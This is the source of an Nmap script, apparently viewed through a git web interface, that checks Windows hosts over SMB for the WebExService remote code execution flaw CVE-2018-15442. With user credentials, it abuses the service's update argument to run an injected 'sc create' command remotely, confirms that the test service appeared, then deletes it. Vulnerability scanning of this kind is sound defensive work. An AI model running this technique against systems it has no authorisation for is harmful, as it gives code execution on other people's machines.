summaryrefslogtreecommitdiffstats
path: root/scripts/smb-vuln-webexec.nse
blob: 9fedaa0a87459fde469eaab6678317b92c3e32ea (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
local msrpc = require "msrpc"
local string = require "string"
local shortport = require "shortport"
local smb = require "smb"
local stdnse = require "stdnse"
local vulns = require "vulns"
-- compat stuff for Nmap 7.70 and earlier
local have_rand, rand = pcall(require, "rand")
local random_string = have_rand and rand.random_string or stdnse.generate_random_string
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit

description = [[
Checks whether the WebExService is installed and allows us to run code.

Note: Requires a user account (local or domain).

References:
* https://www.webexec.org
* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
]]

---
-- @usage
-- nmap --script smb-vuln-webexec --script-args smbusername=<username>,smbpass=<password> -p445 <host>
--
-- @output
-- PORT    STATE SERVICE      REASON
-- 445/tcp open  microsoft-ds syn-ack
-- | smb-vuln-webexec:
-- |   VULNERABLE:
-- |   Remote Code Execution vulnerability in WebExService
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2018-15442
-- |     Risk factor: HIGH
-- |       A critical remote code execution vulnerability exists in WebExService (WebExec).
-- |     Disclosure date: 2018-10-24
-- |     References:
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
-- |       https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
-- |_      https://webexec.org
--
-- @see smb-webexec-exploit.nse

author = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","vuln"}

portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")

action = function(host, port)
  local open_result
  local close_result
  local bind_result
  local result
  local test_service = random_string(16, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY")

  local vuln = {
    title = "Remote Code Execution vulnerability in WebExService",
    IDS = {CVE = 'CVE-2018-15442'},
    risk_factor = "HIGH",
    description = "A critical remote code execution vulnerability exists in WebExService (WebExec).",
    references = {
      'https://webexec.org', -- TODO: We can add Cisco's advisory here
      'https://blog.skullsecurity.org/2018/technical-rundown-of-webexec'
    },
    dates = {
      disclosure = {year = '2018', month = '10', day = '24'}, -- TODO: Update with the actual date
    },
    state = vulns.STATE.NOT_VULN
  }

  local report = vulns.Report:new(SCRIPT_NAME, host, port)

  local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
  if not status then
    vuln.check_results = "Could not connect to smb: " .. smbstate
    return report:make_output(vuln)
  end

  status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)

  if not status then
    smb.stop(smbstate)
    vuln.check_results = "Could not bind to SVCCTL: " .. bind_result
    return report:make_output(vuln)
  end

  local result, username, domain = smb.get_account(host)
  if result then
    if domain and domain ~= "" then
      username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
    end
  end

  -- Open the service manager
  stdnse.debug1("Trying to open the remote service manager with minimal permissions")
  status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)

  if not status then
    smb.stop(smbstate)
    vuln.check_results = "Could not open service manager: " .. open_result
    return report:make_output(vuln)
  end

  local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)
  if open_status == false then
    status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
    smb.stop(smbstate)
    if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
      vuln.check_results = "WebExService is not installed"
      return report:make_output(vuln)
    elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
      vuln.check_results = "Could not open a handle to WebExService as " .. username
      return report:make_output(vuln)
    end

    vuln.check_results = "WebExService failed to open with an unknown status " .. open_service_result
    return report:make_output(vuln)
  end

  -- Create a test service that we can query
  local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
  stdnse.debug1("Creating a test service: " .. webexec_command)
  status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
  if not status then
    vuln.check_results = "Could not start WebExService"
    return report:make_output(vuln)
  end

  -- We need some time for the service to run then stop again before we continue
  stdnse.sleep(1)

  -- Try and get a handle to the service with zero permissions
  stdnse.debug1("Checking if the test service exists")
  local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

  -- If the service DOES_NOT_EXIST, we couldn't run code
  if not test_status and string.match(test_result, 'DOES_NOT_EXIST') then
    stdnse.debug1("Result: Test service does not exist: probably not vulnerable")
    msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

    vuln.check_results = "Could not execute code via WebExService"
    return report:make_output(vuln)
  end

  -- At this point, we know we're vulnerable!
  vuln.state = vulns.STATE.VULN

  -- Close the handle if we got one
  if test_status then
    stdnse.debug1("Result: Got a handle to the test service, it's vulnerable!")
    msrpc.svcctl_closeservicehandle(smbstate, test_result['handle'])
  else
    stdnse.debug1("Result: The test service exists, even though we couldn't open it (" .. test_result .. ") - it's vulnerable!")
  end

  -- Delete the service and clean up (ignore the return values because there's nothing more that we can really do)
  webexec_command = "sc delete " .. test_service .. ""
  stdnse.debug1("Cleaning up the test service: " .. webexec_command)
  status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
  msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
  smb.stop(smbstate)

  return report:make_output(vuln)
end